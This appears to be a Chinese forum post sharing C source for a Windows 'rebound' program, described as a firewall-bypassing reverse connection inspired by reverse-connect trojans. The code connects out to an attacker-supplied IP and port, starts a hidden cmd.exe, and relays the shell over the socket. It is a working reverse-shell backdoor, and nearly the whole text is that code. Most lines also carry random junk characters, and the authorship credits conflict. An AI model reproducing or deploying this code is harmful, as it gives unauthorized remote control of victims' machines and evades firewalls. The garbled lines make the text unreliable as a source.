这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 |4BS\fx~N
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/* ============================== -Cv:lJj
Rebound port in Windows NT g*Nc+W](P>
By wind,2006/7 t {tcy$bw
===============================*/ G8OLx+!0e
#include n=
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#include xuQ$67F`;z
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#pragma comment(lib,"wsock32.lib") u|ia
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void OutputShell(); t_c;4iE
SOCKET sClient; Qjh5m5e
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Da5Zz(
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void main(int argc,char **argv) 2MmqGB}YcW
{ hZ-No
WSADATA stWsaData; UOH2I+@V
int nRet; 5+dQGcE@
SOCKADDR_IN stSaiClient,stSaiServer; V*SKWP
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if(argc != 3) M >Yx_)<U
{ 4AB7 uw
printf("Useage:\n\rRebound DestIP DestPort\n"); )~;= 0O |X
return; Ua]shSjyI
} =@;uDu:Q
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WSAStartup(MAKEWORD(2,2),&stWsaData); g@hg u
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); !vHUe*1a{
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stSaiClient.sin_family = AF_INET; fdGls`H
stSaiClient.sin_port = htons(0); ]N!382
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); *@|d7aiO
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) %M^X>S\%
{ {tMpI\>S
printf("Bind Socket Failed!\n"); w+gA3Dg
return; Y s[J xP
} 74ma
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stSaiServer.sin_family = AF_INET; H2`aw3
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); B ?96d'A
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Alaq![7MDP
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) @V:4tG.<sw
{ v??}d
printf("Connect Error!"); 7k}[x|u
return; _3DRCNvh
} j#r|t+{"C
OutputShell(); E#X1P #$pW
} !mH2IjcL
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void OutputShell() /PF X1hSu
{ $EHAHNL?Lx
char szBuff[1024]; d-nqV5
SECURITY_ATTRIBUTES stSecurityAttributes; JaP2Q} &B
OSVERSIONINFO stOsversionInfo; X(kyu,w
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; O0Y/y2d
STARTUPINFO stStartupInfo; E$] 7w4,n
char *szShell; ?it49
PROCESS_INFORMATION stProcessInformation; 4^(u6tX5|+
unsigned long lBytesRead; n Bv|5$w:
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); =qiX0JT
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 9{_D"h}}
stSecurityAttributes.lpSecurityDescriptor = 0; X>l
stSecurityAttributes.bInheritHandle = TRUE; @1ZLr
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); v8p-<N)
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); CJ0j2e/
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); n_vopDMm
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2
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stStartupInfo.wShowWindow = SW_HIDE; ycB>gd
stStartupInfo.hStdInput = hReadPipe; [ah%>&u
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; HV ab14}E
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GetVersionEx(&stOsversionInfo); i{TErJ{}e
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switch(stOsversionInfo.dwPlatformId) 1"ko wp
{ &g;4;)p*8
case 1: 94Mh/A9k
szShell = "command.com"; MFO}E!9`q
break; ) '"@L7U
default: i2`i5&*
szShell = "cmd.exe"; L9[? qFp
break; 6O2 r5F$T
} v]+,kbT
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); <Okk;rj2
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send(sClient,szMsg,77,0); 6N[XWyS
while(1) !/O c)Yk
{ Q| >
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); c-8Pc]+g
if(lBytesRead) {<%zcNKl^L
{ i)=!U>B_0
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ~_=ohb{
send(sClient,szBuff,lBytesRead,0); YOo?.[}@
} 4Sv&iQ=vh
else v&oE!s#
{
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lBytesRead=recv(sClient,szBuff,1024,0);
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if(lBytesRead<=0) break; :{<( )gfk
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ]p>6r*/nw
} &qqS'G*
} i~
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return; fwB+f`w`
}